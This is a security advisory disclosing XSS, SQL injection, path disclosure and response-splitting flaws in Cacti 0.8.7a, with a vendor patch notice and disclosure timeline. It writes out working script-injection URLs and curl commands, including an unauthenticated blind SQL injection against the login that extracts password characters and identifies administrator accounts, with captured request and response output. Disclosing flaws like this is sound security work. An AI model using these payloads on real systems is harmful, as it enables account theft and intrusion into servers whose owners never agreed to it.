Together with my friend Antonio "s4tan" Parata we released this advisory affecting Cacti 0.8.7a. Found issues include XSS, SQL Injection, Path Disclosure and HTTP Response Splitting. Some bugs are logical flaws related to the use of $_REQUEST, in detail filters were applied to $_GET or $_POST but later $_REQUEST was used. Since $_REQUEST is build in an order defined in php.ini (normally GPC) it was possible to bypass the check and inject the malicious payload in POST or COOKIE for GET and COOKIE for POST.
Cacti 0.8.7a Multiple Vulnerabilities Name Multiple Vulnerabilities in Cacti Systems Affected Cacti 0.8.7a and possibly earlier versions Severity High Impact (CVSSv2) High (9/10, vector: AV:N/AC:L/Au:N/C:C/I:P/A:P) Vendor http://www.cacti.net/ Advisory http://www_ush_it/team/ush/hack-cacti087a/cacti.txt Author Francesco "ascii" Ongaro (ascii AT ush DOT it) Antonio "s4tan" Parata (s4tan AT ush DOT it) Date 20071218 I. BACKGROUND From the cacti web site: "Cacti is a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box". II. DESCRIPTION Multiple vulnerabilities exist in Cacti software (XSS, SQL Injection,
Path Disclosure, HTTP Response Splitting). III. ANALYSIS Summary: A) XSS Vulnerabilities graph.php (view_type parameter) graph_view.php (filter parameter) index.php/login (action parameter) index.php/login (login_username parmeter) B) Path Disclosure Vulnerabilities graph.php (local_graph_id parameter) C) SQL Injection Vulnerabilities graph_view.php (graph_list parameter) tree.php (leaf_id parameter) graph_xport.php (local_graph_id parameter) tree.php (id parameter) index.php/login (login_username parameter) D) HTTP response splitting on very old PHP instances A) XSS Vulnerabilities We have found many XSS vulnerabilities in the application. We list some examples only, but many other injection points exist: http://www.example.com/cacti/graph.php?local_graph_id=1&rra_id=34&actio n=properties&view_type=token'%3E%3Cscript%3Ealert(document.cookie)%3C/s cript%3E The following example will execute the code when the user clicks on the menu list: http://www.example.com/cacti/graph_view.php?action=list&page=1&host_id= 0&graph_template_id=8&filter=onmouseover=javascript:alert(/XSS/) Also XSS vulnerabilities exist in the login page, where we authentication isn't needed: http://www.example.com/cacti/index.php?action=foo/%3Cscript%3Ealert('XS S')%3C/script%3E In addition if we enter as user name: "><script>alert(/XSS/);</script>, then we have another XSS. B) Path Disclosure Vulnerabilities The program checks the value of a non existent parameter. This produces an error that discloses the absolute installation path: http://www.example.com/cacti/graph.php?local_graph_id=1 Other vulnerable code exists since in Cacti PHP errors are displayed as they are, with no custom error handler. C) SQL Injection Vulnerabilities There are some points in the program that don't check the input parameters. This causes an SQL Injection attack possible. Follow an example of blind SQL injection (by an authenticated user): http://www.example.com/cacti/graph_view.php?action=preview&style=select ive&graph_list=bla'%20or%20'1'='1 The following request needs admin permission to be executed, so it has limited impact: http://www.example.com/cacti/tree.php?action=edit&id=1&subaction=foo&le af_id=1%20or%201%20=%201 Same as above graph_xport.php is also vulnerable to an SQLi exploitable by authenticated users: curl "http://www.example.com/cacti/graph_xport.php?local_graph_id=1" -d \ "local_graph_id=1'" -H "Cookie: Cacti=<cookie value>" Also the program contains a serious logic flaw. The program presents many input check routines, however some of these routines validate only the $_GET variable. After this validation routine, the value of the input is used to create an SQL query, obtaining the value from the $_REQUEST variable. According to the PHP specifications, the $_REQUEST variable looks for the value of the parameters in the following order: cookie, post data, get data. If we specify the injection string in the cookie data or in the post data, then we can bypass the validation routine. One example of this vulnerability is shown by the following url: curl "http://www.example.com/cacti/tree.php?action=edit&id=1" -d \ "id=sql'" -H "Cookie: Cacti=<cookie value>" One of these vulnerable code is in the set_tree_visibility_status() function in file lib/html_tree.php. The initial rows of the routine are: function set_tree_visibility_status() { if (!isset($_REQUEST["subaction"])) { $headers = db_fetch_assoc("SELECT graph_tree_id, order_key FROM graph_tree_items WHERE host_id='0' AND local_graph_id='0' AND graph_tree_id='" . $_REQUEST["id"] . "'"); The set_tree_visibility_status() is called in grow_edit_graph_tree( $tree_id, $user_id, $options) function. The grow_edit_graph_tree( $tree_id, $user_id, $options) is called in tree.php file by the tree_edit() routine which is called from the main code. The initial rows of the tree_edit() routine are: function tree_edit() { global $colors, $fields_tree_edit; /* ================= input validation ================= */ input_validate_input_number(get_request_var("id")); /* ==================================================== */ The input_validate_input_number routine correctly validate the parameter, but the problem is that get_request_var routine returns the $_GET value, as the following code show: function get_request_var($name, $default = "") { if (isset($_GET[$name])) { return $_GET[$name]; } else { return $default; } } So we can send our injection string in POST data (to skip the check), and our value will be used because it has precedence over GET in the $_REQUEST variable. Last but not least we show the most critical vulnerability. An SQL injection vulnerability exists in the authentication method (the attacker doesn't need to be authenticated in order to exploit it). In file global.php at line 109 we have an "if" statement that if true detects if magic quote is off, if it's off then it simulates it by calling addslashes() function. But take a look at the "if" statement: if ((!in_array(basename($_SERVER["PHP_SELF"]), $no_http_header_files, true)) && ($_SERVER["PHP_SELF"] != "")) { The branch is not taken if we are calling a function that is present in $no_http_header_files variable defined at line 53. The check is done with basename($_SERVER["PHP_SELF"]). Well, if we set a URL like http://www.example.com/index.php/sql.php (sql.php is an entry in the $no_http_header_files variable) then the basename($_SERVER["PHP_SELF"]) will return sql.php and we happly bypass the magic quote check : ) However a complete authentication bypass cannot be possible because the code that starts the session is in the chunk of code that we skip, so no $_SESSION variable will be created and we are unable to bypass the following check at file auth.php: if (empty($_SESSION["sess_user_id"])) { include("./auth_login.php"); exit; However it is possible to extract the password and user name from the DB by an SQL injection inference attack. The following request is an example of blind SQL injection attack by inference: curl -v "http://www.example.com/cacti/index.php/sql.php" -d \ "login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login" If this query succeeds then a 302 response code is sent in the response. We can also discovery the user name at the same way. There is also a nice trick that allows us to know if we have discovered the administrator user. Suppose we know that exists the user name "cacti", to know if it is an administrator we send the following request: curl -v "http://www.example.com/cacti/index.php/sql.php" -d \ "login_username=cacti'#&action=login" If a 302 response code with Location "index.php" is returned then it is the administrator, in the other case with a Location of "graph_view.php" we have discovered a normal user. Again: this vulnerability is exploitable ONLY with magic quotes OFF and any value of register globals. $ curl -v "http://www.example.com/cacti/index.php/sql.php" -d \ "login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login" * About to connect() to www.example.com port 80 (#0) * Trying 127.0.0.1... connected * Connected to www.example.com (127.0.0.1) port 80 (#0) > POST /cacti-0.8.7a/index.php/sql.php HTTP/1.1 > User-Agent: curl/1.1.1 (i986-gnu-ms-bsd) cacalib/3.6.9 OpenTelnet/0.1 > Host: www.example.com > Accept: */* > Content-Length: 71 > Content-Type: application/x-www-form-urlencoded > < HTTP/1.1 200 OK < Date: Mon, 17 Dec 2007 19:29:34 GMT < Server: Apache < X-Powered-By: PHP/1.2.3-linuxz < Content-Length: 355 < Content-Type: text/html < AAAAAAAAA: SELECT * FROM user_auth WHERE username = 'foo' or ascii(substring(password,1,1))<56#' AND password = md5('') AND realm=0 <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/x/cacti-0.8.7a/auth_login.php:126) in <b>/home/x/cacti-0.8.7a/auth_login.php</b> on line <b>200</b><br /> * Connection #0 to host www.example.com left intact * Closing connection #0 This vulnerability can be obviously exploited as follows $ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \ "login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login" \ | head -n1 HTTP/1.1 200 OK $ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \ "login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login" \ | head -n1 HTTP/1.1 302 Found D) HTTP response splitting on very old PHP instances In some old PHP instances it is possible to execute an HTTP response splitting attack. However this attack is mitigated by the PHP framework that doesn't permits CR or LF injection anymore in the header function. IV. DETECTION Cacti 0.8.7a and possibly earlier versions are vulnerable. V. WORKAROUND Proper input validation will fix the vulnerabilities. Magic quotes ON will protect you against the most serious unauthenticated SQLi vulnerabilities and possibly other. VI. VENDOR RESPONSE Vendor issued new version 0.8.7b and 0.8.6k to address the vulnerabilities available for download at following urls: http://www.cacti.net/downloads/cacti-0.8.7b.tar.gz http://www.cacti.net/downloads/cacti-0.8.6k.tar.gz Patches are also available: http://www.cacti.net/download_patches.php?version=0.8.7a http://www.cacti.net/download_patches.php?version=0.8.6j VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20071113 Bug discovered 20071218 Vendor contacted 20080212 Advisory released IX. CREDIT Francesco "ascii" Ongaro and Antonio "s4tan" Parata are credited with the discovery of this vulnerability. Francesco "ascii" Ongaro web site: http://www_ush_it/ mail: ascii AT ush DOT it Antonio "s4tan" Parata web site: http://www.ictsc.it/ mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it X. LEGAL NOTICES Copyright (c) 2007 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.